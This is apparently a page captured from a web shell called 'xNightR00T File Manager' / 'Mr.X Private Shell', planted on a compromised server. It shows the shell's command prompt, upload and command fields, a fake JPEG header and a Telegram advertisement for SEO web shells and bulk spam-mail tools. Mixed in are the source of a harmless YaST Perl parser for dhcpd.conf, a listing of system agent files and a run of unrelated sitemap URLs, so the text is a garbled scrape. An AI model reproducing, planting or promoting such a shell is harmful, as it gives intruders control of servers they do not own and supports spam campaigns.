xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/usr/bin/perl -w

use ycp;

$default_filename = "/etc/dhcpd.conf";
$filename = $default_filename;

@lines = ();
$group_counter = 0;
$pool_counter = 0;


sub get_lines {
    my $orig_line = "";
    my $comment_before = "";
    my $comment_after = "";
    @lines = ();
    open (INFILE, "$filename") || return;
    my $in_quotes = 0;
    my $line = "";
    my $finished = 0;
    my $next_line = undef;
    my $braces = 0;
    while (defined ($orig_line))
    {
	while (! defined ($orig_line) || $orig_line eq "")
	{
	    $orig_line = <INFILE>;
	    last if (! defined ($orig_line));
	    chomp ($orig_line);
	    if ($orig_line =~ /^[ \t]*#.*/)
	    {
		$comment_before = "$comment_before\n$orig_line";
		$orig_line = "";
	    }
	}
	last if (! defined ($orig_line));
	
	my $char = substr ($orig_line, 0, 1);
	if (! $in_quotes)
	{
	    if ($char eq "#")
	    {
		$comment_after = "$comment_after $orig_line";
		$orig_line = "";
		next;
	    }
	}

	$line = "$line$char";
	if ($char eq "\"")
	{
	    $in_quotes = 1 - $in_quotes;
	}
	elsif (! $in_quotes)
	{
	    if ($char eq "}")
	    {
		$braces = $braces - 1;
 	    }
	    elsif ($char eq "{")
	    {
		if (substr ($line, 0, 7) eq "option "
		    || $line =~ /^[ \t]*zone[ \t]+/)
		{
		    $braces = $braces + 1;
		}
	    }
	    if ($char eq "{" || $char eq "}")
	    {
	    }

	    if (($char eq ";" && $braces == 0) || ($char eq "{" && $braces == 0)
		|| ($char eq "}" && $braces <= 0))
	    {
		my $tmp_line = substr ($orig_line, 1);
		if ($tmp_line =~ /^[ \t]*(#.*)$/)
		{
		    $comment_after = "$comment_after $1";
		    $orig_line = "";
		}
		$line =~ s/^[ \t]*([^ \t]+)[ \t]*$/$1/;
		if ($line =~ /.*;$/)
		{
		    $line = substr ($line, 0, length ($line) - 1);
		}
		my %next_line = (
		    "line" => $line,
		    "comment_before" => $comment_before,
		    "comment_after" => $comment_after,
		);
		if (defined ($line) && $line ne "")
		{
		    push @lines, \%next_line;
		    $comment_before = "";
		    $comment_after = "";
		}
		$line = "";
		$braces = 0;
		next if ($orig_line eq "");
	    }
	}
	$orig_line = substr ($orig_line, 1);
    }
    close (INFILE);
}

sub parse_section {
    my @section = ();
    while (1) {
	my $line_ref = shift @lines;
	last if ! defined ($line_ref);
	my %line = %{$line_ref};
	my $line = $line{"line"};
	my $cb = $line{"comment_before"};
	$cb = substr ($cb, 1) if (substr ($cb, 0, 1) eq "\n");
	my $ca = $line{"comment_after"};
	$ca = substr ($ca, 1) if (substr ($ca, 0, 1) eq " ");
	last if ($line =~ /^[ \t]*}[ \t;]*$/);

	my $key;
	my $value;
	my $type;
	if ($line =~ /^[ \t]*([^ \t]+.*[^ \t]+)[ \t]*{[ \t]*$/)
	{
	    $type = "section";
	    $key = $1;
	    $value = parse_section ();
	    if ($key =~ /^[ \t]*group[ \t]*$/)
	    {
		$type = "group";
	        if ($ca =~ /id=\"([^\"]+)\"/)
		{
		    $key = "$1";
		}
		else
		{
		    $key = "__$group_counter";
		    $group_counter++;
		}
	    }
	    elsif ($key =~ /^[ \t]*pool[ \t]*$/)
	    {
		$type = "pool";
	        if ($ca =~ /id=\"([^\"]+)\"/)
		{
		    $key = "$1";
		}
		else
		{
		    $key = "__$pool_counter";
		    $pool_counter++;
		}
	    }
	    else
	    {
		($type, $key) = split (/ /, $key, 2);
	    }
	}
	elsif ($line =~ /^[ \t]*option[ \t]+([^ \t]+)[ \t]+([^ \t].*);?[ \t]*$/)
	{
	    $type = "option";
	    $key = $1;
	    $value = $2;
	}
	elsif ($line =~ /^[ \t]*([^ \t]+)[ \t]+([^ \t].*);?[ \t]*$/)
	{
	    $type = "directive";
	    $key = $1;
	    $value = $2;
	}
	elsif ($line =~ /^[ \t]*option[ \t]+([^ \t]+)[ \t]*;?[ \t]*$/)
	{
	    $type = "option";
	    $key = $1;
	    $value = "__true"
	}
	elsif ($line =~ /^[ \t]*([^ \t]+)[ \t]*;?[ \t]*$/)
	{
	    $type = "directive";
	    $key = $1;
	    $value = "__true";
	}
	if ($type ne "")
	{
	    my %value = (
		"type" => $type,
		"key" => $key,
		"value" => $value,
		"comment_before" => $cb,
		"comment_after" => $ca,
	    );
	    push @section, \%value;
	}
    }    
    return \@section;
}

sub parse_file {
    @lines = ();
    $group_counter = 0;
    $pool_counter = 0;

    get_lines ();
    $parsed_file_ref = parse_section ();
    return $parsed_file_ref;
}


sub store_section {
    my $indent = $_[0];
    my $sect_ref = $_[1];

    my @sect = @{$sect_ref};
    foreach my $record_ref (@sect) {
	my %record = %{$record_ref};
	my $cb = $record{"comment_before"} || "";
	my $ca = $record{"comment_after"} || "";
	my $type = $record{"type"};
	my $key = $record{"key"};
	my $value = $record{"value"};
	my $do_write = 1;
	if ($value eq "__false")
	{
	    $do_write = 0;
	}
	elsif ($value eq "__true")
	{
	    $value = "";
	}
	print OUTFILE "$indent$cb\n" if ($cb ne "");
	my $suffix = ";";
	if ($type eq "directive" || $type eq "option")
	{
	    if ($value =~ /}[ \t]*$/)
	    {
		$suffix = "";
	    }
	}
	if ($type eq "directive")
	{
	    if ($do_write)
	    {
		print OUTFILE "$indent$key $value$suffix";
	    }
	}
	elsif ($type eq "option")
	{
	    if ($do_write)
	    {
		my $tmp = "option";
		print OUTFILE "$indent$tmp $key $value$suffix";
	    }
	}
	else
	{ #section
	    if ($type eq "pool" || $type eq "group")
	    {
		if (substr ($key, 0, 2) ne "__")
		{
		    $ca = "# id=\"$key\"";
		}
		$key = "group" if ($type eq "group");
		$key = "pool" if ($type eq "pool");
	    }
	    else
	    {
		$key = "$type $key";
	    }
	    print OUTFILE "$indent$key {";
	    print OUTFILE " $ca" if ($ca ne "");
	    $ca = "";
	    print OUTFILE "\n";
	    store_section ("$indent  ", $value);
	    print OUTFILE "$indent}";
	}

	print OUTFILE " $ca" if ($ca ne "");
	print OUTFILE "\n";
    }
}

sub store_file {
    my $file_ref = $_[0];
    open (OUTFILE, ">$filename");
    store_section ("", $file_ref);
    close (OUTFILE);
}


while ( <STDIN> )
{
    my ($command, $path, $argument) = ycp::ParseCommand ($_);

    if ($command eq "Write")
    {
	if ($path eq "." && ref ($argument) eq "ARRAY")
	{
	    my $parsed_file_ref = $argument;
	    store_file ($parsed_file_ref);
	    ycp::Return ("true");
	}
	elsif ($path eq ".filename" && ! ref ($argument))
	{
	    if (defined ($argument))
	    {
		$filename = $argument;
	    }
	    else
	    {
		$filename = $default_filename;
	    }
	}
    }
    elsif ($command eq "Read")
    {
	if ($path eq "." && ! ref ($argument))
	{
	    my $parsed_file_ref = parse_file ();
	    ycp::Return ($parsed_file_ref);
	}
    }
    elsif ($command eq "result")
    {
	exit 0;
    }
    else
    {
	y2error ("Wrong path or arguments");
	ycp::Return ("false");
    }

}

Filemanager

Name Type Size Permission Actions
MasterCFParser.pm File 10.55 KB 0755
ag_anyxml File 3.21 KB 0755
ag_background File 8.56 KB 0755
ag_content File 738 B 0755
ag_convert_named_conf File 1.65 KB 0755
ag_cron File 2.5 KB 0755
ag_dhcpd_conf File 6.28 KB 0755
ag_dns_zone File 8.84 KB 0755
ag_etc_sudoers File 5.37 KB 0755
ag_exports File 4.7 KB 0755
ag_fetchmailrc File 8.09 KB 0755
ag_freespace File 1.48 KB 0755
ag_hostnames File 4.68 KB 0755
ag_http_server File 13.31 KB 0755
ag_initscripts File 9.19 KB 0755
ag_kadmin File 21.21 KB 0755
ag_kerberos File 12.27 KB 0755
ag_ksimport File 7.22 KB 0755
ag_mail_ldaptable File 1.79 KB 0755
ag_mailconfig File 6.42 KB 0755
ag_mailtable File 5.88 KB 0755
ag_modinfo File 2.09 KB 0755
ag_named_forwarders File 1.68 KB 0755
ag_netd File 17.24 KB 0755
ag_nis File 6.3 KB 0755
ag_pam_mount File 5.83 KB 0755
ag_passwd File 21.11 KB 0755
ag_ping File 1.58 KB 0755
ag_showexports File 2.49 KB 0755
ag_smtp_auth File 5.6 KB 0755
ag_tty File 3.75 KB 0755
ag_udev_persistent File 3.61 KB 0755
ag_uid File 1.39 KB 0755
ag_yp_conf File 7.56 KB 0755
ag_yp_makefile File 4.38 KB 0755
ag_zypp_repos File 1.55 KB 0755
setup_dkim_verifying.pl File 5.15 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml